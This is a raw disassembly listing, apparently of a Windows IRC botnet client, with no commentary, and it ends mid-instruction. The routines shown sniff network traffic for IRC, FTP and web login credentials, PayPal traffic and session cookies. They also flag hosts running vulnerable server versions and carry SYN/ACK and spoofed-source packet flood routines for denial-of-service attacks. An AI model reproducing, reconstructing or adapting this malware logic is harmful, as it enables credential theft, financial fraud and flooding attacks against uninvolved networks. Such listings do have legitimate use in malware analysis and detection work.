ecx jnz short loc_4129BA push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_4129BA push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_4129BA push offset aJoin_0 ; "JOIN #" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jz short loc_412A06 loc_412A02: ; CODE XREF: sub_4129A4+71j ; sub_4129A4+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412A06: ; CODE XREF: sub_4129A4+5Cj push offset a302_0 ; "302 " push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_412A02 push offset a366 ; "366 " push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_412A02 push offset a_login_0 ; ":.login" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_412A02 push offset aLogin_1 ; ":!login" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_412A02 push offset aLogin_0 ; ":!Login" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_412A02 push offset a_login ; ":.Login" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_412A02 push offset a_ident ; ":.ident" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_412A02 push offset aIdent ; ":!ident" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz loc_412A02 push offset a_hashin ; ":.hashin" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz loc_412A02 push offset aHashin ; ":!hashin" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4129A4 endp ; =============== S U B R O U T I N E ======================================= sub_412ABB proc near ; CODE XREF: sub_412CA4:loc_412F8Ap arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jz short loc_412AD5 loc_412AD1: ; CODE XREF: sub_412ABB+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412AD5: ; CODE XREF: sub_412ABB+14j push offset aGxxx ; "#Gxxx" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_412AD1 push offset aOper_0 ; "OPER " push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jz short loc_412AFB loc_412AF7: ; CODE XREF: sub_412ABB+4Fj ; sub_412ABB+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412AFB: ; CODE XREF: sub_412ABB+3Aj push offset aNick_1 ; "NICK " push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_412AF7 push offset aOper ; "oper " push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_412AF7 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412ABB endp ; =============== S U B R O U T I N E ======================================= sub_412B31 proc near ; CODE XREF: sub_412CA4:loc_412FB6p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jz short loc_412B4B loc_412B47: ; CODE XREF: sub_412B31+29j ; sub_412B31+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412B4B: ; CODE XREF: sub_412B31+14j push offset aGxxx ; "#Gxxx" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_412B47 push offset aNick_1 ; "NICK " push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_412B47 push offset a220 ; "220 " push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jz short loc_412B82 loc_412B7E: ; CODE XREF: sub_412B31+60j ; sub_412B31+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412B82: ; CODE XREF: sub_412B31+4Bj push offset a230 ; "230 " push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_412B7E push offset aUser_3 ; "USER " push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_412B7E push offset aPass_1 ; "PASS " push esi call sub_41C0D0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412B31 endp ; =============== S U B R O U T I N E ======================================= sub_412BB8 proc near ; CODE XREF: sub_412CA4+345p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jz short loc_412BD2 loc_412BCE: ; CODE XREF: sub_412BB8+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412BD2: ; CODE XREF: sub_412BB8+14j push offset aGxxx ; "#Gxxx" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_412BCE push offset aPaypal ; "paypal" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jz short loc_412BF8 loc_412BF4: ; CODE XREF: sub_412BB8+4Fj ; sub_412BB8+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412BF8: ; CODE XREF: sub_412BB8+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_412BF4 push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_412BF4 push offset aPaypal_com ; "paypal.com" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_412BF4 push offset aSetCookie ; "Set-Cookie:" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412BB8 endp ; =============== S U B R O U T I N E ======================================= sub_412C3F proc near ; CODE XREF: sub_412CA4:loc_413051p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jz short loc_412C59 loc_412C55: ; CODE XREF: sub_412C3F+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412C59: ; CODE XREF: sub_412C3F+14j push offset aGxxx ; "#Gxxx" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_412C55 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jz short loc_412C7F loc_412C7B: ; CODE XREF: sub_412C3F+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412C7F: ; CODE XREF: sub_412C3F+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_412C7B push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412C3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412CA4 proc near ; DATA XREF: sub_401B66+4216o var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41C2F0 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd xor esi, esi push 3Fh inc esi xor ebx, ebx mov [eax+90h], esi pop ecx xor eax, eax lea edi, [ebp+var_3B7] mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CDC78 ; gethostname lea eax, [ebp+var_3B8] push eax call dword_4CDCE8 ; gethostbyname movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call near ptr sub_41CAE0 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CDCE4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_412D4A pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412D4A: ; CODE XREF: sub_412CA4+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CDC90 ; bind cmp eax, 0FFFFFFFFh jnz short loc_412DC0 call dword_4CDBF8 ; WSAGetLastError push eax lea eax, [ebp+var_2B8] push offset unk_438768 push eax call sub_41C056 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_412D9C push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409982 add esp, 14h loc_412D9C: ; CODE XREF: sub_412CA4+D6j lea eax, [ebp+var_2B8] push eax call sub_4157A5 pop ecx push edi call dword_4CDCFC ; closesocket push [ebp+var_34] call sub_40B2A3 pop ecx push ebx call dword_4280CC ; ExitThread loc_412DC0: ; CODE XREF: sub_412CA4+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CDC10 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_412E46 call dword_4CDBF8 ; WSAGetLastError push eax lea eax, [ebp+var_2B8] push offset unk_438738 push eax call sub_41C056 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_412E22 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409982 add esp, 14h loc_412E22: ; CODE XREF: sub_412CA4+15Cj lea eax, [ebp+var_2B8] push eax call sub_4157A5 pop ecx push edi call dword_4CDCFC ; closesocket push [ebp+var_34] call sub_40B2A3 pop ecx push ebx call dword_4280CC ; ExitThread loc_412E46: ; CODE XREF: sub_412CA4+13Cj mov esi, 200h loc_412E4B: ; CODE XREF: sub_412CA4+1D6j ; sub_412CA4+1FFj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CDC7C ; recv cmp [ebp+var_113AF], 6 jnz short loc_412E4B push [ebp+var_113A4] call dword_4281E8 ; ntohs push [ebp+var_113A4+2] movzx edi, ax mov [ebp+var_4], edi call dword_4281E8 ; ntohs movzx eax, ax cmp edi, 6Eh mov [ebp+arg_0], eax jz short loc_412E4B cmp edi, 19h jz short loc_412E4B cmp eax, 6Eh jz short loc_412E4B cmp eax, 19h jz short loc_412E4B push [ebp+var_113AC] call sub_412995 mov edi, dword_4281EC add esp, 4 push dword ptr [eax] call edi ; inet_ntoa push eax lea eax, [ebp+var_13B8] push offset aS_2 ; "%s" push eax call sub_41C056 push [ebp+var_113A8] call sub_412995 add esp, 10h push dword ptr [eax] call edi ; inet_ntoa push eax lea eax, [ebp+var_BB8] push offset aS_2 ; "%s" push eax call sub_41C056 lea eax, [ebp+var_1138C] xor edi, edi push eax call sub_41B7B0 add esp, 10h test eax, eax jle short loc_412F40 loc_412F17: ; CODE XREF: sub_412CA4+29Aj lea eax, [ebp+edi+var_1138C] cmp byte ptr [eax], 0Dh jnz short loc_412F26 mov byte ptr [eax], 20h loc_412F26: ; CODE XREF: sub_412CA4+27Dj cmp byte ptr [eax], 0Ah jnz short loc_412F2E mov byte ptr [eax], 20h loc_412F2E: ; CODE XREF: sub_412CA4+285j lea eax, [ebp+var_1138C] inc edi push eax call sub_41B7B0 cmp edi, eax pop ecx jl short loc_412F17 loc_412F40: ; CODE XREF: sub_412CA4+271j cmp [ebp+var_4], 50h jz loc_412FE2 cmp [ebp+arg_0], 50h loc_412F4E: ; DATA XREF: .packed:off_43CE7Co jz loc_412FE2 lea eax, [ebp+var_1138C] push eax call sub_4129A4 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_412F8A push [ebp+arg_0] lea eax, [ebp+var_BB8] push eax lea eax, [ebp+var_13B8] push [ebp+var_4] push eax push offset unk_438704 jmp loc_413013 ; --------------------------------------------------------------------------- loc_412F8A: ; CODE XREF: sub_412CA4+2C6j call sub_412ABB test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_412FB6 push [ebp+arg_0] lea eax, [ebp+var_BB8] push eax lea eax, [ebp+var_13B8] push [ebp+var_4] push eax push offset unk_4386D0 jmp short loc_413013 ; --------------------------------------------------------------------------- loc_412FB6: ; CODE XREF: sub_412CA4+2F5j call sub_412B31 test al, al pop ecx jz short loc_412FE2 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push [ebp+arg_0] push eax lea eax, [ebp+var_13B8] push [ebp+var_4] push eax push offset unk_43869C jmp short loc_413013 ; --------------------------------------------------------------------------- loc_412FE2: ; CODE XREF: sub_412CA4+2A0j ; sub_412CA4:loc_412F4Ej ... lea eax, [ebp+var_1138C] push eax call sub_412BB8 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_413051 push [ebp+arg_0] lea eax, [ebp+var_BB8] push eax lea eax, [ebp+var_13B8] push [ebp+var_4] push eax push offset unk_438664 loc_413013: ; CODE XREF: sub_412CA4+2E1j ; sub_412CA4+310j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41C150 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_412E4B push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409982 add esp, 14h jmp loc_412E4B ; --------------------------------------------------------------------------- loc_413051: ; CODE XREF: sub_412CA4+354j call sub_412C3F test al, al pop ecx jz loc_412E4B lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push [ebp+arg_0] push eax lea eax, [ebp+var_13B8] push [ebp+var_4] push eax push offset unk_43862C jmp short loc_413013 sub_412CA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413081 proc near ; DATA XREF: sub_401B66+645Bo var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call dword_4280A8 ; GetTickCount push eax call sub_41C0A8 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_413469 push eax lea eax, [ebp+var_494] push offset unk_438794 push eax call sub_41C056 xor esi, esi add esp, 20h cmp [ebp+var_8], esi jnz short loc_413111 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_409982 add esp, 14h loc_413111: ; CODE XREF: sub_413081+6Ej lea eax, [ebp+var_494] push eax call sub_4157A5 push [ebp+var_290] call sub_40B2A3 pop ecx pop ecx push esi call dword_4280CC ; ExitThread pop edi pop esi sub_413081 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413133 proc near ; CODE XREF: sub_413469+40p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CDBD4 ; WSAStartup test eax, eax jz short loc_413173 xor eax, eax jmp loc_41343C ; --------------------------------------------------------------------------- loc_413173: ; CODE XREF: sub_413133+37j xor edi, edi inc edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CDD08 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_413434 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CDC44 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_41342A push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CDC64 ; ntohs mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CDC64 ; ntohs push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CDC64 ; ntohs mov [ebp+var_12], ax call sub_41C0B2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CDC64 ; ntohs push 12345678h mov [ebp+var_14], ax call dword_4CDC60 ; ntohl push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_413243 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_413297 ; --------------------------------------------------------------------------- loc_413243: ; CODE XREF: sub_413133+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_41325F mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_413297 ; --------------------------------------------------------------------------- loc_41325F: ; CODE XREF: sub_413133+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_413297 call sub_41C0B2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41C0B2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_413297: ; CODE XREF: sub_413133+10Ej ; sub_413133+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CDC64 ; ntohs mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call dword_428138 ; QueryPerformanceFrequency lea eax, [ebp+var_1C] push eax call dword_428134 ; QueryPerformanceCounter push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41DA80 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_4132E5: ; CODE XREF: sub_413133+2E2j ; sub_413133+2EEj mov [ebp+var_4], bx call sub_41C0B2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CDC64 ; ntohs mov [ebp+var_14], ax call sub_41C0B2 mov edi, eax shl edi, 10h call sub_41C0B2 or edi, eax push edi call dword_4CDC64 ; ntohs movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CDC60 ; ntohl mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CDC64 ; ntohs mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call near ptr sub_41CAE0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call near ptr sub_41CAE0 lea eax, [ebp+var_B4] push 34h push eax call sub_40AB6D mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call near ptr sub_41CAE0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call near ptr sub_41CAE0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BD60 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AB6D mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call near ptr sub_41CAE0 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CDCC8 ; sendto cmp eax, 0FFFFFFFFh jz short loc_413440 add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call dword_428134 ; QueryPerformanceCounter mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_413427 jl loc_4132E5 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jb loc_4132E5 loc_413427: ; CODE XREF: sub_413133+2E0j mov ebx, [ebp+arg_8] loc_41342A: ; CODE XREF: sub_413133+78j ; sub_413133+334j push [ebp+var_20] call dword_4CDCFC ; closesocket pop esi loc_413434: ; CODE XREF: sub_413133+5Bj call dword_4CDBBC ; WSACleanup mov eax, ebx loc_41343C: ; CODE XREF: sub_413133+3Bj pop edi pop ebx leave retn ; --------------------------------------------------------------------------- loc_413440: ; CODE XREF: sub_413133+2CBj call dword_4CDBF8 ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset dword_4387BC push eax call sub_41C056 lea eax, [ebp+var_F4] push eax call sub_4157A5 add esp, 10h jmp short loc_41342A sub_413133 endp ; =============== S U B R O U T I N E ======================================= sub_413469 proc near ; CODE XREF: sub_413081+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40AA04 push [esp+10h+arg_4] mov esi, eax call sub_41BF49 push [esp+14h+arg_C] mov ebx, eax call sub_41BF49 mov edi, eax call sub_41C0B2 cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_413133 add esp, 20h test eax, eax jnz short loc_4134B6 inc eax loc_4134B6: ; CODE XREF: sub_413469+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_413469 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4134C5 proc near ; DATA XREF: sub_401B66+664Bo var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh mov eax, [ebp+arg_0] push ebx push esi push edi push 68h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp+var_1BC] push 0FFh inc ebx push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_4CDCE4 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_413560 call dword_4CDBF8 ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset unk_4388BC push eax call sub_41C056 xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_413543 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409982 add esp, 14h loc_413543: ; CODE XREF: sub_4134C5+5Cj lea eax, [ebp+var_3BC] push eax call sub_4157A5 push [ebp+var_38] call sub_40B2A3 pop ecx pop ecx push edi call dword_4280CC ; ExitThread loc_413560: ; CODE XREF: sub_4134C5+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_4CDC44 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_4135D7 call dword_4CDBF8 ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset unk_43888C push eax call sub_41C056 add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_4135BA push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409982 add esp, 14h loc_4135BA: ; CODE XREF: sub_4134C5+D3j lea eax, [ebp+var_3BC] push eax call sub_4157A5 push [ebp+var_38] call sub_40B2A3 pop ecx pop ecx push edi call dword_4280CC ; ExitThread loc_4135D7: ; CODE XREF: sub_4134C5+B3j lea eax, [ebp+var_1B8] push eax call dword_4CDCA4 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_41363E lea eax, [ebp+var_3BC] push offset unk_43886C push eax call sub_41C056 cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_413621 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409982 add esp, 14h loc_413621: ; CODE XREF: sub_4134C5+13Aj lea eax, [ebp+var_3BC] push eax call sub_4157A5 push [ebp+var_38] call sub_40B2A3 pop ecx pop ecx push edi call dword_4280CC ; ExitThread loc_41363E: ; CODE XREF: sub_4134C5+122j push 10h lea eax, [ebp+var_1C] push edi push eax call sub_41BD60 add esp, 0Ch mov [ebp+var_1C], 2 push edi call dword_4CDC64 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_4CDCA4 ; inet_addr mov esi, dword_4280A8 mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi ; GetTickCount mov [ebp+var_8], eax jmp loc_41379F ; --------------------------------------------------------------------------- loc_413681: ; CODE XREF: sub_4134C5+2EBj push 41Ch mov byte_4D0AB8, 45h call dword_4CDC64 ; ntohs cmp [ebp+var_2C], edi mov word_4D0ABA, ax mov word_4D0ABC, bx mov word_4D0ABE, di mov byte_4D0AC0, 80h mov byte_4D0AC1, bl mov word_4D0AC2, di jz short loc_4136F0 call sub_41C0B2 mov ebx, eax shl ebx, 8 call sub_41C0B2 add ebx, eax shl ebx, 8 call sub_41C0B2 add ebx, eax shl ebx, 8 call sub_41C0B2 add ebx, eax mov dword_4D0AC4, ebx xor ebx, ebx inc ebx jmp short loc_413708 ; --------------------------------------------------------------------------- loc_4136F0: ; CODE XREF: sub_4134C5+1F9j push [ebp+var_1BC] call sub_40AB14 pop ecx push eax call dword_4CDCA4 ; inet_addr mov dword_4D0AC4, eax loc_413708: ; CODE XREF: sub_4134C5+229j mov eax, [ebp+var_18] mov dword_4D0AC8, eax call sub_41C0B2 cdq mov ecx, 100h idiv ecx mov byte_4D0ACC, dl call sub_41C0B2 cdq mov ecx, 100h idiv ecx mov byte_4D0ACD, dl call sub_41C0B2 cdq mov ecx, 0F0h push 400h idiv ecx mov word_4D0ACE, di mov word_4D0AD2, bx inc edx mov word_4D0AD0, dx call sub_41C0B2 cdq mov ecx, 0FFh idiv ecx push edx push offset dword_4D0AD4 call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_1C] push 10h push eax push edi push 41Ch push offset byte_4D0AB8 push [ebp+var_4] call dword_4CDCC8 ; sendto cmp eax, 0FFFFFFFFh jz loc_41383B inc [ebp+arg_0] loc_41379F: ; CODE XREF: sub_4134C5+1B7j call esi ; GetTickCount sub eax, [ebp+var_8] mov ecx, 3E8h xor edx, edx div ecx cmp eax, [ebp+var_30] jbe loc_413681 push [ebp+var_4] call dword_4CDCFC ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset unk_438820 push eax call sub_41C056 add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_41381E push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409982 add esp, 14h loc_41381E: ; CODE XREF: sub_4134C5+337j lea eax, [ebp+var_3BC] push eax call sub_4157A5 push [ebp+var_38] call sub_40B2A3 pop ecx pop ecx push edi call dword_4280CC ; ExitThread loc_41383B: ; CODE XREF: sub_4134C5+2D1j push 